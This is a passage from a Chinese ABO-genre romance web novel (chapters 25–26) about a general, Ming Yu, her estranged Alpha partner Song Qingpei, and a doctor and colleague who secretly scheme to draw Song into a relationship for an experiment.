李蔓沉思后告诉她:“只有一个办法,可以用你的血试试,只是需要多少血有效果我也不知道,而且每个月的发热期都靠输血来维持也太伤身体了。” “好,我知道了。” 看她的意思,是宁愿输血也不想再和明毓发生关系了,李蔓连连叹气,知道也劝不动她,只能留下了注射血液的针剂,无奈离开。 宋青佩无奈的叹了口气,心事重重的回了房间。 而抑制剂的作用根本没持续多久。 到了后半夜,明毓的发热期再次汹涌而来,比之前更加猛烈。 她的身体像是被火焰吞噬,理智几乎被欲望淹没。她蜷缩在床上,手指紧紧抓住床单,试图用疼痛来分散注意力,但毫无作用。 与此同时,宋青佩也察觉到了明毓的异常。 她闻到空气中越来越浓烈的信息素味道,她知道明毓的发热期已经到了极限,但她也清楚,自己实在不想妥协。 正当她陷入极度的纠结时,突然听到门外传来一阵轻微的脚步声。 她皱了皱眉,还是起身打开门。发现明毓正站在门外,脸色潮红,呼吸急促,眼神中带着一丝难以掩饰的渴望。 “明毓?你……”宋青佩的话还没说完。 明毓已经一步跨进房间,反手关上了门。 “宋青佩,我……”她声音沙哑而颤抖,几乎是从喉咙里挤出来的,“帮帮我……” 宋青佩的心猛地一沉,下意识地后退了一步:“明毓,你冷静一点……我现在就帮你联系李蔓军医……” “不……不要医生。”明毓摇了摇头,声音中带着一丝渴望,“要你……我只想要你……” 她的身体不受控制地靠近宋青佩,信息素的味道越来越浓烈,几乎让宋青佩感到头晕目眩。 她咬了咬牙,试图推开她,可明毓的身体却先一步贴了上来,喷在她耳边的呼吸灼热而急促。 宋青佩的心跳加速,理智和情感在她的脑海中激烈交锋。 她知道,自己应该推开明毓,但她的身体却不由自主地回应着明毓的信息素,仿佛被某种无形的力量牵引着。 然而,明毓已经无法再控制自己。 她的吻落在宋青佩的唇上,温柔而炽热,仿佛要将所有的情感都倾注其中。 宋青佩的身体微微一颤,理智的防线在这一刻近乎崩溃。 最后一刻,她狠狠的咬了明毓的嘴唇,喘着粗气将她推开,然后起身拿出了李蔓留下的抽取血液的针剂,狠狠地插入了自己血管。 在明毓震惊的神色中,将抽取了血液的针剂,注射进了她的腺体。 明毓怔怔的看着宋青佩的动作,她的嘴唇已经被咬破,血迹干涸在嘴角,显得格外狼狈。 随着血液的慢慢注入,她的神志逐渐清醒,信息素渐渐冷淡先来,她却没有丝毫松快的感觉,越发觉得痛苦和不堪, 她看向宋青佩,死死的咬着唇,声音中带着一丝哽咽:“你……你宁愿给我输血,也不愿意……” 宋青佩没有看她,只是低声说:“好了……就回去休息吧。” 明毓的眼中闪过一丝痛苦:“青佩,我……” 宋青佩站起身,背对着她,语气平静却带着一丝决绝:“明毓,我们都需要冷静一下。你走吧,别吵醒了颂颂。” 明毓的脸色瞬间变得苍白,在宋青佩坚决的视线中,眸色被浓重的绝望晕染。 竟然已经讨厌她到这个地步了吗? 第25章 哭了 明毓回到房间,关上门的那一刻,仿佛所有的力气都被抽离了身体。 她靠在门板上,缓缓滑坐在地上,脑海中不断回放着宋青佩给她输血时的情景——那双冷淡的眼眸,那副避之不及的姿态,甚至连触碰她都不愿意。 以她的自制力,并无沦落到需要宋青佩的血液来压抑信息素的地步。 她心里清楚,之所以跑去宋青佩的房间,不过是借着机会,试图让她心软,让两人的关系更进一步。可让她难以接受的是,宋青佩宁愿用这种方式帮她,也不愿意碰她一下,这种赤裸裸的厌烦,像一把锋利的刀,狠狠刺入她的心脏,让她痛得几乎无法呼吸。 “就这么讨厌我吗?” 她从未如此清晰地意识到,宋青佩对她的厌恶已经到了如此地步。 明毓闭上眼睛,深吸一口气,试图平复内心的波澜。 然而,无论她如何努力,那种羞耻和心痛的感觉依旧如影随形,挥之不去。 她站起身,走到窗边,推开窗户,任由夜风拂过她的脸颊。冷风让她稍稍清醒了一些,却也让她更加清晰地感受到内心的空洞。 这一夜,明毓辗转反侧,始终无法入眠。 她的脑海中不断浮现出宋青佩的脸,那张冷淡疏离的脸,那双不再对她流露出半分温柔的眼眸,每看一次,都让她的心更痛一分。 直到天边泛起鱼肚白,才勉强合上眼睛,短暂地睡了一会儿。 —— 一大早,李蔓就匆匆赶了过来。 她一进门,就看到宋青佩正陪着颂颂在餐厅吃早餐。 颂颂坐在儿童椅上,手里拿着一个小勺子,正笨拙地往嘴里送粥。宋青佩坐在她旁边,神情温和,时不时帮她擦擦嘴角。 “宋小姐,早。”李蔓走上前,打了个招呼。 宋青佩抬起头,看到是李蔓,微笑道:“李医生,早。” 李蔓看了一眼颂颂,笑着问:“颂颂一会要去上学吗?” 宋青佩“嗯”了一声,“一会儿我送她去。” 李蔓点点头,随即正色道:“明上将昨天的情况怎么样?” 想到昨晚的画面,宋青佩颇为尴尬,一时不知道该从何说起。 她放下手中的勺子,在心里组织了一下语言,解释道:“昨晚,她的发热期突然发作,跑到我的房间情况看上去有些危险,我就给她输了血,暂时稳定下来了。现在应该没事,只是还没出来。” 李蔓闻言,不由得叹了口气:“以明上将的骄傲,怕是无法接受这种方式吧。” 宋青佩没有接话,只是低头继续帮颂颂擦嘴。 其实想到明毓走时难看的脸色,她大概能猜出来,骄傲如明毓,大抵确实被她伤到了自尊心,才迟迟没有出来。而她也并不想和明毓打照面,所以才识趣的早早叫了颂颂起床,准备暂时避免尴尬的接触。 见她迟迟不说话,也不好再多说什么,只得道:“那我先上去看看上将。” 李蔓上楼,轻轻敲了敲明毓的房门。 里面传来一声低沉的“进来”,她推门而入,看到明毓已经起床,正在穿军服。她的动作干脆利落,神情冷峻,仿佛昨晚的一切都没有发生过。 李蔓松了一口气,笑着道:“看来输血的效果还是可以的,你的气色看起来好多了。” 明毓听到“输血”两个字,脸色瞬间沉了下来。 她的手指微微一顿,随即继续扣上军服的扣子,冷冷道:“我没事了。” 李蔓察觉到她的情绪变化,赶紧转移话题:“我先给你检查一下,看看情况。” 明毓没有拒绝,任由李蔓为她检查。 李蔓仔细查看了她的各项指标,确认她的发热期暂时被压制住了,只是具体能压抑多久,还需要进一步观察。 “暂时没什么问题,但你还是要多注意。”李蔓叮嘱道。 明毓点点头,转身对李蔓道:“嗯,我们下去吧。” 两人下楼时,正好碰到宋青佩准备送颂颂去上学。 宋青佩看到明毓,微微一愣,随即主动开口:“我已经将输血的针剂交给了苏管家,你去军部可以带着,以防万一。” 明毓闻言,心中五味杂陈。 她神色变换的看着宋青佩,喉咙像是被什么堵住了一般,最后只能艰难地吐出一句:“谢谢。” 宋青佩点点头,没有再多说什么,牵着颂颂的手离开了。 等两人走后,明毓和李蔓一起坐在餐厅吃早餐。 餐桌上,气*氛沉默得有些压抑。 明毓低头吃着粥,神情冷峻,仿佛在思考什么。 李蔓看了她一眼,试探性地开口道:“明上将,你……还好吧?” 明毓抬起头,看了她一眼,忽然问道:“李医生,你说……怎么才能让宋青佩主动标记我?” 李蔓被这个问题问得一愣,随即尴尬地笑了笑:“这个……要不我给你开点药,给宋小姐吃了?” 明毓皱眉,毫不犹豫地拒绝:“不,我要她自愿。” 李蔓顿时感到头疼。 她犹豫了一下,含蓄地说道:“以上将你的魅力,大概只要稍微温柔一点就行了吧?” 明毓闻言,眉头皱得更紧:“你也觉得我太凶了?” 这个问题问的李蔓一阵尴尬,她不由干笑两声:“还好吧……只是宋小姐可能更喜欢温柔一点的Omega。” 明毓没有再说话,只是低头继续吃饭,神情却愈发凝重。 饭后,明毓起身准备去军部。 李蔓和她一起走到停车场,又叮嘱了几句注意身体,随后上了自己的悬浮车。 车上,李蔓想到刚才明毓十分具有反差的一面,不由头疼的皱起了眉。 原本她以为,以明毓高傲的性子是绝不会看上宋青佩的,所以慕容瑞雪那边就一直没有着急,没想到现在看来,明毓似乎已经对宋青佩上心了,这可就棘手了。 若是被明毓得知宋青佩的身份,对她们的计划将会十分不利。 想到这,她拿出手机,拨通了慕容瑞雪的电话。 很快接通,那边传来慕容瑞雪的声音,叫她,“师姐。” “瑞雪,你和宋青佩的进展怎么样?”李蔓笑着问。 电话那头,慕容瑞雪的声音带着几分无奈:“相处倒是挺融洽的,她对我很感激,但我还没敢有什么动作。我试过了,她对Omega的信息素确实没什么反应。” “没错,她信息素是比较冷淡,这也是她身上实验最成功的一点。” 李蔓笑道:“不过宋青佩的易感期应该快到了,她现在对明毓极其讨厌,你趁着这个机会试试,她应该更喜欢温柔的Omega。” 慕容瑞雪沉默了一会儿,低声道:“我明白了。” 挂断电话后,李蔓不由得叹了口气。 她知道,明毓和宋青佩之间的关系,远比她想象的要复杂得多。而明毓的骄傲,或许会成为两人中最大的阻碍,也是她们最大的机会。 只能希望慕容瑞雪尽快拿下宋青佩了,她们急需下一代的数据。 —— 挂断电话的慕容瑞雪,无奈的叹了口气。 犹豫片刻,她起身拿了一支信息素诱发剂,咬牙将针剂扎入自己的腺体,将注射完的针剂扔进垃圾回收桶,起身往机甲维修室走去。 走到机甲维修室的门口,慕容瑞雪停住,遥遥往里望去,仿佛锁定猎物般看向不远处正在调试机甲的宋青佩。 宋青佩穿着一身深蓝色的工作服,袖口挽到手肘,露出修长结实的小臂。 她的神情专注,修长的手指在机甲的操控面板上飞快地敲击着,仿佛周围的一切都与她无关。 慕容瑞雪嘴角勾起一抹淡淡的笑意。她知道,自己的机会来了。 她故意放慢了脚步,走了进去。 听到脚步声,宋青佩抬头看到她,笑着打招呼:“瑞雪姐,你来了。” 慕容瑞雪走到她跟前,装作无事的问:“青佩,怎么样了?” 宋青佩停下手上的动作,详细的向她介绍了自己目前的维修方向,说到激动处,眉飞色舞,仿佛在炫耀玩具的孩子,听得慕容瑞雪都不由跟着扬起了嘴角。 不管如何,这个认真的态度是她喜欢的。 慕容瑞雪接过她的检修报告,仔细看了看,确认方向并没有问题,于是毫不吝啬的夸奖道:“很好,方向是对的,只是还有一向性能方面的小问题。” 听她这么说,宋青佩立刻来了兴趣,“哪里还有问题,您说,我记一下。” 恰在此时,慕容瑞雪体内已经在隐隐发热,诱发剂明显已经发挥了作用。看着宋青佩这一幅求知若渴的模样,她忽然有了几分负罪感。 慕容瑞雪只得强压体内的热意,详细的又给她讲解了一番。 宋青佩听得十分认真,听到关键处,一副恍然大悟的模样,最后由衷道:“瑞雪姐,你真是太厉害了,我还有许多需要学习的地方。” 说完,宋青佩就开始认真按照修正后的方案,继续维修机甲,丝毫没有注意到慕容瑞雪已经在慢慢变红的脸。 时间一分一秒的过去。 被冷落在一旁的慕容瑞雪,简直都傻眼了,没见过这么不解风情的Alpha。 她只能走到宋青佩身边,假装在检查机甲的数据。 她的动作很轻,但呼吸却逐渐变得急促,脸颊也微微泛红。她偷偷瞥了一眼宋青佩,发现对方依旧专注于手中的工作,似乎完全没有注意到她的异常。 慕容瑞雪咬了咬唇,决定再进一步。 她轻轻“嗯”了一声,声音带着几分颤抖,仿佛在极力压抑着什么。 闻声,宋青佩终于抬起头,看了她一眼,眉头微微皱起:“瑞雪姐,你怎么了?” 慕容瑞雪抬起头,脸颊泛着不自然的红晕:“青佩,我……我好像发热期又来了……” 宋青佩闻言,立刻放下手中的工具,走到她身边,伸手探了探她的额头。 她的手指冰凉,触碰到慕容瑞雪的皮肤时,让她不由得微微一颤。 “确实有点热。”宋青佩收回手,忙道,“瑞雪姐,我送你去医院吧。” 慕容瑞雪愣了一下,没想到宋青佩会是这样的反应。 她原本以为,宋青佩就算没有被她的信息素影响,多少也会表现出一些慌乱和不羞涩,可宋青佩的反应却正经的不可思议,除了担忧没有半点情绪波动。 “不……不用去医院吧?”慕容瑞雪试图挣扎一下,“我……我注射一下抑制剂就好了,你先扶我回办公室休息一下吧。” 宋青佩看了她一眼,神色担忧道:“发热期不是小事,你上次发热期好像过去并没有多久,还是去医院检查一下吧。” 说完,她转身走到一旁的储物柜前,从里面拿出一支抑制剂,走回来递给慕容瑞雪:“先打一针,我送你去医院。” 慕容瑞雪看着那支抑制剂,颇有搬起石头砸自己的脚无力感。 “瑞雪姐?” 在宋青佩担忧的催促下,慕容瑞雪只能咬牙将抑制剂注射进自己的手臂。 冰凉的液体流入血管,让她的身体逐渐冷静下来,可她的心里充满了挫败感,明明已经表现得那么明显了,可宋青佩却完全不为所动。 宋青佩见她注射完抑制剂,便转身拿起外套,对她说道:“走吧,我送你去医院。” 慕容瑞雪没有再说什么,只是默默地跟在宋青佩身后。 宋青佩,我恨你像个木头。 到了医院,医生给慕容瑞雪做了检查,确认她的发热期已经被抑制剂压制住,暂时没有大碍。 宋青佩一直陪在她身边,直到医生确认她没事,才松了口气。 医生语气中带着几分责备:“你是她的伴侣吧?怎么不早点带她来医院?她的信息素很不稳定,需要好好休息。” 宋青佩愣了一下,随即解释道:“我不是她的伴侣,只是同事。” 医生看了看慕容瑞雪,又看了看宋青佩,语气中带着几分无奈:“不管你们是什么关系,她现在需要人照顾。她的信息素波动很大,注射了抑制剂后得好好休息,不能让她一个人待着。” 宋青佩沉默了一下,随即点了点头:“我知道了,我会等她醒过来再走。” 医生这才满意地点了点头,转身离开了病房。 宋青佩坐在病床旁的椅子上,目光落在慕容瑞雪苍白的脸上。 看着看着,她不由出了神,眼神中却带出一丝复杂的情绪。此刻慕容瑞雪虚弱的样子像极了曾经无助的明毓。 反应过来自己的想法,宋青佩顿时觉得无地自容,赶紧收回了视线,起身出去透气。 等宋青佩离开后,慕容瑞雪缓缓睁开了眼,眉目深颦。 真是的,她已经按照很努力的做出柔弱Omega的模样了,怎么宋青佩还是无动于衷? 她百思不得其解,不由拿出手机,拨通了李蔓的电话。 “师姐,我失败了。”慕容瑞雪的声音带着几分沮丧,“我已经很努力模仿明毓失忆后的模样了,可她完全不为所动,还给我打了抑制剂,送我来了医院。” 电话那头,李蔓轻笑了一声:“看来宋青佩确实是个难啃的骨头。不过没关系,你的信息素可是完全匹配她的,实验数据不会错。你再努力一点,她迟早会动心的。” 慕容瑞雪犹豫了一下,低声道:“师姐,你说……老师的实验真的对吗?毕竟宋青佩她什么都不知道,我们这样……真的合适吗?” 闻言,李蔓的声音瞬间冷了下来:“瑞雪,别忘了你是怎么活下来的。如果不是老师的实验,你早就死了。现在,你只需要按照计划行事,别想太多。” 慕容瑞雪的心猛地一沉。 她知道李蔓说得没错,如果不是老师,她根本不可能活到现在。 “我知道了,师姐。”慕容瑞雪低声说道,语气中带着几分无奈。 挂断电话后,慕容瑞雪靠在病床上,脑海中不断回放着宋青佩担忧的脸,心里一阵阵酸涩。 “宋青佩,对不起。”她低声喃喃。 病房里安静得可怕,只有她一个人的呼吸声在空气中回荡。 另一边。 明毓坐在军部的办公室里,手里拿着一份文件,目光却始终无法集中。 她的手指无意识地敲击着桌面,脑海中,宋青佩的身影挥之不去,仿佛一根刺,深深扎在她的心里,拔不出来,也忽视不了。 仅仅是想到宋青佩,她的身体就忍不住开始发热,熟悉的灼烧感从脊椎蔓延至全身,像是无数细小的火焰在她的血管里跳动。 明毓咬紧牙关,手指紧紧攥住桌角,指节因用力而泛白。 她知道,自己的发热期又来了。 这一次的发热期来得比以往更加凶猛,仿佛是对她长久以来压抑的报复。 她的呼吸逐渐变得急促,额头上渗出细密的汗珠,顺着脸颊滑落。 脑海中不受控制地浮现出宋青佩的脸——那张曾经对她温柔微笑的脸,那双曾经充满关切的眼睛,还有那些曾经让她心动的缱绻暧昧。 “宋青佩……”明毓低声喃喃,声音沙哑而颤抖。 她的心脏像是被一只无形的手紧紧攥住,痛得她几乎无法呼吸。 曾经的宋青佩,会在她发热期时轻轻抱住她,用温柔的声音安抚她的不安;会在她疲惫时默默陪在她身边,给她一个温暖的拥抱;会在她渴望难堪时,满是心疼的亲吻她。 可现在的宋青佩,却冷漠得让她心寒。 那双温柔的眼睛,如今只剩下疏离和厌倦;那双轻柔的手,如今却连触碰她都不愿意。 一阵密密麻麻的疼痛灼烧着她的心脏,几乎无法呼吸。 在信息素的刺激下,她的呼吸也越来越急促,身体的灼烧感让她几乎无法思考。 明毓终于忍受不住,手指颤抖着拉开抽屉,从里面拿出一支装着宋青佩血液的针剂。她的目光落在针剂上,眼神中闪过一丝复杂的情绪。 她知道,注射宋青佩的血液可以暂时压制她的发热期,可这也意味着她再一次依赖了宋青佩,这种依赖让她感到羞耻,也让她感到痛苦。 可是,她别无选择。 明毓咬紧牙关,将针剂对准自己的腺体,毫不犹豫地刺了进去。 冰凉的液体流入她的身体,瞬间压制住了那股灼烧感,呼吸逐渐平稳下来,身体的温度也慢慢恢复正常。 可她的心,却依旧无法平静。 她靠在椅背上,闭上眼睛,脑海中依旧回放着宋青佩的脸。 她的手指无意识地摩挲着针剂的空壳,心里一阵阵酸涩。 “宋青佩……”她禁不住再次低声喃喃。 明毓犹豫了一瞬,忍不住拿出手机,手指在通讯录上停留了片刻,最终还是拨通了宋青佩的号码。 电话响了几声后,宋青佩的声音从听筒中传来,“明毓?” 明毓的心猛地一沉,喉咙像是被什么堵住了一般,半晌才艰难地开口:“我……我只是想问问,你今天什么时候回家?” 犹豫了一下,她还是用了家这个字。 宋青佩沉默了一下,淡淡道:“今天我会早点回去。” 明毓唇抿成一条直线,心内不由翻江倒海,她明明有那么多话想说,可话到嘴边,却只剩下这一句无关痛痒的询问。 “好,我也会早点回去的。”她低声应道,声音中带着几分失落。 电话那头,宋青佩似乎察觉到了她的异常,语气中带着几分试探:“你是不是……血液不够了?” 明毓的脸色瞬间变得苍白。 她的手指紧紧攥住手机,指节因用力而泛白,心里一阵刺痛,仿佛被宋青佩的话狠狠刺了一刀。 “没有……”她咬紧牙关,努力让自己的声音听起来平静,“我可以撑住。” 宋青佩没有再说什么,只是淡淡地“嗯”了一声,随后挂断了电话。 听着电话那头传来的忙音,一点点煎熬着她本就敏感的神经,几乎让她喘不上气来。明毓放下手机,靠在椅背上,深深的闭上眼睛,有一滴泪水从眼角滑落。 她伸出手背盖住了眼睛,仿佛这样就可以掩盖满脸狼狈。 第26章 我知道错了 明毓离开军部后,驱车前往幼儿园接颂颂。 一路上,她的心情十分复杂,脑海中不断回放着宋青佩冷淡的脸和疏离的态度。她大概知道宋青佩为什么讨厌她,可具体该做些什么来改变现状,她心里却并没有明确的答案。 只有一个想法越发清晰,不能让宋青佩如此冷漠对她,她接受不了。 到了幼儿园,颂颂一看到明毓,立刻欢快地跑了过来,扑进她的怀里。 明毓蹲下身,轻轻抱住颂颂,脸上露出一丝难得的温柔笑容。 “妈咪!”颂颂仰起小脸,眼睛亮晶晶的,“今天老师表扬我了!” 明毓轻轻摸了摸颂颂的头,柔声问道:“是吗?老师为什么表扬你?” 颂颂兴奋地开始讲述幼儿园里的趣事,叽叽喳喳地说个不停。明毓静静地听着,偶尔点点头,或是简单地回应几句,童言童语让她的心情稍微放松了一些。 但她心里依旧想着宋青佩,说着说着,明毓开始有意无意地引导话题,试图从颂颂口中套出一些关于宋青佩的信息。 “颂颂,你妈妈最喜欢什么呀?”明毓装作随意地问道。 颂颂歪着头想了想,认真地回答:“妈妈最喜欢我!” 明毓愣了一下,随即哭笑不得。 她轻轻捏了捏颂颂的小脸,继续问道:“除了你,妈妈还喜欢什么?” 颂颂皱着眉头,很认真地思考了一会儿,然后摇了摇头:“妈妈只喜欢我。” 明毓有些无奈,但又不甘心就此放弃。 她换了个方式,继续问道:“那妈妈平时喜欢做什么呢?比如……她喜欢吃什么?喜欢看什么书?或者喜欢什么礼物?” 颂颂眨了眨眼睛,似乎对明毓的问题感到有些困惑。 她想了想,突然问道:“妈咪,你是不是想让妈妈喜欢你呀?” 明毓被颂颂问得一愣,脸上闪过一丝尴尬,还是认真地说:“是啊,妈咪想让妈妈更喜欢我一点。” 颂颂歪着头,一脸认真道:“那妈咪你要温柔一点哦!你生气的时候好吓人,妈妈不喜欢。”说着又补了一句,“颂颂也不喜欢。” 明毓听到颂颂的话,忍不住问:“颂颂,妈咪真的很凶吗?” 颂颂毫不犹豫地点了点头:“嗯!妈咪生气的时候,像喷火的巨龙,真的好吓人,颂颂好害怕。” 听她这么说,明毓无奈地叹了口气,心里有些自责。 她轻轻摸了摸颂颂的头,柔声说道:“那妈咪以后温柔一点,好不好?” 颂颂开心地点了点头,“这才是好妈咪!” 明毓被颂颂的举动逗笑了,心里也稍微轻松了一些,暗自决定,至少在宋青佩面前,她要尽量表现得温柔一些。 回到家后,明毓让苏管家多准备了些菜,想着等宋青佩回来一起吃饭。 她希望能借着这个机会,和宋青佩好好聊聊,试图改变宋青佩对她的坏印象。 明毓陪着颂颂玩了一会儿,直到军医李蔓的到来打断了她们的亲子时光。 李蔓一进门,便直奔主题,询问明毓的身体状况。 “明上将,你感觉怎么样?发热期有没有再发作?” 明毓摇了摇头,示意自己没事。 她让颂颂自己去玩,然后带着李蔓去了检查室。 在检查室里,李蔓仔细地为明毓做了各项检查,确认她的身体状况暂时稳定。 李蔓一边记录数据,一边叮嘱道:“明上将,你的发热期虽然暂时被压制住了,但还是要注意休息,避免情绪波动过大。” 明毓点了点头,心里却有些烦躁。 她知道自己的情绪波动,很大程度上是因为宋青佩,但她又无法控制自己对宋青佩的渴望。 “李医生。”明毓突然开口,语气中带着一丝犹豫,“你觉得……宋青佩不肯标记我,是因为什么?” 李蔓愣住,她早就察觉到明毓对宋青佩的感情变化,只是没想到会如此直接地问出来。 她犹豫了一下,斟酌着措辞:“明上将,这个问题我可回答不了。可能宋小姐只是信息素比较冷淡,并不是针对你,您可能……误会了。” “误会?”明毓苦笑了一声,眼神中带着几分自嘲,“她连碰我一下都不愿意,这还能是误会吗?” 李蔓一时语塞,不知道该如何安慰明毓。 她想了想,试探性地说道:“明上将,如果你真的想让宋小姐标记你,或许可以试着主动一些。宋小姐虽然信息素冷淡,但并不是铁石心肠的人。” 明毓沉默了片刻,眼神中闪过一丝犹豫。 想到昨晚的遭遇,实在太过狼狈,她的骄傲让她不想再低头。 她咬了咬唇,低声说道:“我再想想吧。” 李蔓见状,也不好再多说什么,只是叮嘱她好好休息,随后离开了医疗室。 两人在大厅里又说了几句话,李蔓就离开了。 明毓看了眼时间,发现已经晚上七点了,宋青佩应该已经下班了。 怎么还不回来? 她不由皱了皱眉,想要给宋青佩打电话,又怕宋青佩嫌她烦,犹豫了一下,决定再等等,于是上楼去找颂颂了。 而李蔓离开后,就立刻拿出手机,给慕容瑞雪发了一条消息: 【明毓的信息素不稳定,她想要和宋青佩和好。你那边想办法拖住宋青佩,最好在她身上留下你的信息素味道,让明毓误会,引发两人的矛盾。】 另一边。 慕容瑞雪收到消息时,宋青佩还没回病房。 她看完消息内容,正好听到脚步声。 于是立刻将信息删除,关闭屏幕,动作一气呵成,嘴角勾起一抹淡淡的笑意。 宋青佩进门看向慕容瑞雪,发现她已经醒了,正虚弱地看着自己。 “你醒了。”宋青佩走过去,语气中带着一丝关切,“感觉怎么样?” 慕容瑞雪咬了咬唇,声音虚弱地说:“我……我好多了,谢谢你陪着我。” “没什么,你太客气了。”宋青佩点了点头,含蓄道:“瑞雪姐,你有没有给家里打电话,免得她们担心。” 慕容瑞雪闻言,心里一阵焦急。 好家伙,这不是明晃晃让她叫人来,她好走的意思。 于是,她故意摆出一副哀伤自怜的模样,“我……我是孤儿,没有家人。”说着又故作坚强道:“我没事了,你家里还有孩子,快回去吧。” 宋青佩愣住。 没想到慕容瑞雪竟然也和她一样是孤儿,这一下就戳中了她的软肋,再加上,慕容瑞雪对她也算有知遇之恩。 她犹豫了一下,最终还是道:“我在这陪你吧。” 慕容瑞雪的脸上露出一丝笑意,心里暗自松了一口气。 她知道,自己的计划已经成功了一半。只要宋青佩留下,她就有机会在她身上留下自己的信息素味道,让明毓误会。 她心底打着坏主意,嘴上却客气道:“那怎么行,这实在太麻烦你了。” “没事,你快躺下休息吧。” 宋青佩说完,给她倒了一杯水递过去,又问:“瑞雪姐,你饿不饿,要不我去给你买点吃的。” 慕容瑞雪摇了摇头,“我不饿,你快坐下休息会儿吧。” 见她一副虚弱的模样,宋青佩还是坚持跑去给慕容瑞雪买了些吃的和水果。 她提着袋子回到病房时,慕容瑞雪正靠在床头,脸色依旧有些苍白。 宋青佩将食物放在床头柜上,轻声问道:“瑞雪姐,你想吃点什么?我买了些清淡的粥和水果。” 慕容瑞雪摇了摇头,声音虚弱:“我没什么胃口,你吃吧。” 宋青佩见她确实没什么精神,也不好再劝,只得自己简单吃了一些。 吃完,她拿起一个苹果,熟练地削皮,切成小块,放在盘子里递给慕容瑞雪:“要不吃点水果吧。” 慕容瑞雪看着盘子里整齐的苹果块,眼中闪过一丝感动。 她轻轻拿起一块,放入口中,细细咀嚼后,低声说:“青佩,你真是个温柔体贴的Alpha,明上将真是有福气。” 宋青佩听到“明上将”三个字,眉头微不可见一皱,解释道:“瑞雪姐,我和明毓已经没有关系了。” 慕容瑞雪察觉到她的不悦,连忙转移话题:“抱歉,我不该提这些。不过,你真的很好,以后谁要是能和你在一起,一定会很幸福。” 宋青佩没有接话,只是低头继续削着苹果。 她不想再谈论这个话题,于是随口将话题转到慕容瑞雪的身上:“瑞雪姐,你的发热期似乎过于频繁了。我记得上次你的发热期才过去半个月,怎么这么快又发作了?” 慕容瑞雪闻言,咬了咬唇,眼中闪过一丝难堪。 她低下头,声音有些颤抖:“我的发热期确实比较频繁,差不多……半个月一次。以前,我的前女友还因此羞辱我,说我放浪……从那以后,我就不敢再找Alpha了,只能用抑制剂压制。” 宋青佩听到这里,想到自己因为是劣等Alpha被嫌弃,不由升起一种同病相怜的酸楚感。 她放下手中的水果刀,轻轻拍了拍慕容瑞雪的肩膀,安慰道:“瑞雪姐,你别难过,那种人不值得你伤心。发热期频繁并不是你的错,只是体质问题,你会找到一个真正理解、关心你的伴侣的。” 慕容瑞雪抬起头,没了平日雷厉风行的模样,声音带着哽咽:“可是……我真的害怕了,不敢再相信Alpha了。她们总是……总是让我失望。” 宋青佩看着她脆弱的样子,轻声说:“瑞雪姐,不是所有的Alpha都像你前女友那样,你很好,值得被温柔对待。” 慕容瑞雪听到这句话,眼中闪过一丝感激。 她微微侧头,目光温柔地看向宋青佩,声音轻柔:“青佩,如果……如果我能找到一个像你这样温柔可靠的Alpha伴侣,那该多好。” 宋青佩愣了一下,随即察觉到慕容瑞雪话中的暗示,脸上闪过一丝尴尬。 她忙低下头,避开了慕容瑞雪的目光,轻声说道:“瑞雪姐,你好好休息吧,别想太多。” 慕容瑞雪见宋青佩没有接话,心里有些失望,但脸上依旧保持着温柔的笑容。 她轻轻点了点头,低声说道:“谢谢你,青佩。你真是个好人。” 宋青佩没有再多说什么,只是默默地收拾好桌上的东西,然后坐在一旁的椅子上。慕容瑞雪见宋青佩沉默不语,心里暗自盘算着下一步的计划。 她轻轻咳嗽了一声,打破了房间的沉默:“青佩,要不你先回去休息吧,我一个人可以的。” 宋青佩摇了摇头:“没事,我陪你吧。你一个人在这里,我也不放心。” 慕容瑞雪笑了笑,眼中闪过一丝感激:“你真是太好了。不过,我真的没事了,你不用一直陪着我。” 此时,宋青佩的手机突然响了起来。 她拿起手机,看到是明毓的来电,接通了电话,“喂?” 电话那头,明毓的声音传来,带着一丝疲惫:“青佩,你在哪里?怎么还没回来?” 宋青佩解释道:“我在医院,陪一个朋友。” 明毓沉默了片刻,声音低沉:“颂颂一直在等你,你什么时候回来?” 宋青佩听到颂颂的名字,心里一软,语气也缓和了一些:“我很快就回去,你先陪颂颂吧。” 慕容瑞雪靠在病床上,目光时不时地瞥向宋青佩,听到她的话,心里顿时急了起来。 她咬了咬唇,决定得赶紧行动起来。 她憋了一口气,呼吸逐渐变得急促,身体微微摇晃,仿佛随时都会倒下。 “青佩,我有点头晕……” 慕容瑞雪突然捂着胸口,声音虚弱地说。 宋青佩听到她的声音,赶紧挂了电话,走过去,关切的问:“你怎么了?” 慕容瑞雪没有回答,只是身体一软,直接朝着宋青佩的方向倒了下去。 宋青佩眼疾手快,立刻站起身,伸手扶住了她。慕容瑞雪顺势倒在了宋青佩的怀里,脸颊贴在她的肩膀上,呼吸有些急促。 “瑞雪姐,你没事吧?”宋青佩的语气中满是焦急。 慕容瑞雪靠在宋青佩的怀里,嘴角微微勾起,声音虚弱地说:“我……我好热……” 她抬起头,眼神迷离,脸颊泛着不自然的红晕。 空气中弥漫着淡淡的信息素的味道,由淡转浓,很快充满在空气中。 加上如此近距离的接触,让宋青佩更是别扭,可是慕容瑞雪这一副摇摇欲坠的模样,她又不能直接将人推开,顿时左右为难。 而慕容瑞雪声音带着无助:“青佩,我……我发热期好像又来了……” 宋青佩强装平静,将她放到床上,起身道,“我去叫医生。” “不……不用叫医生吧?”慕容瑞雪挣扎着想要拉住她,强撑道:“刚打了抑制剂没多久,我可以可以撑住的。” 宋青佩看了她一眼,为难道:“真的行吗?要不还是叫医生看看吧。” 慕容瑞雪见目的已经达到,也没再坚持,便让她叫了医生。 医生过了检查了一番,又给她打了一针抑制剂,慕容瑞雪这才慢慢平复下来。 期间,宋青佩的电话又响了几次,因为她忙着找医生所以就没接。 直到忙完,才接通了明毓不知道第几次打来的电话。 那边,明毓的语气中带着明显强压的愤怒,连珠弩般质问:“为什么不接电话?你在哪?什么时候回来?” 宋青佩沉默了一下,才说:“我今晚可能要很晚回去,你……你照顾好颂颂。” 明毓的心猛地一沉,喉咙像是被什么堵住了一般,半晌才艰难地开口:“你……跟谁在一起?” “慕容瑞雪。”宋青佩如实解释道:“她住院了,家里没有人,我留下看看她的情况。” 听到这话,明毓气得差点将电话砸了。 她明明有那么多话想问问,可话到嘴边,却只剩下一句无力的:“我知道了。” 明毓坐在餐桌旁,烛光摇曳,映照出她脸上微微紧绷的神情。 桌上是一道道精致的菜肴,色香味俱全,香味弥漫在空气中,仿佛为这个温馨的夜晚披上了一层甜美的外衣。 然而,她期待的心却因为这通电话彻底凉了下来。 她的手指无意识地摩挲着桌布,眼神冷得仿佛带着冰碴,恨不能将人冻死一样。 颂颂坐在她对面,小手握着勺子,眨巴着大眼睛,不解地问:“妈咪,妈妈不回来了吗?” 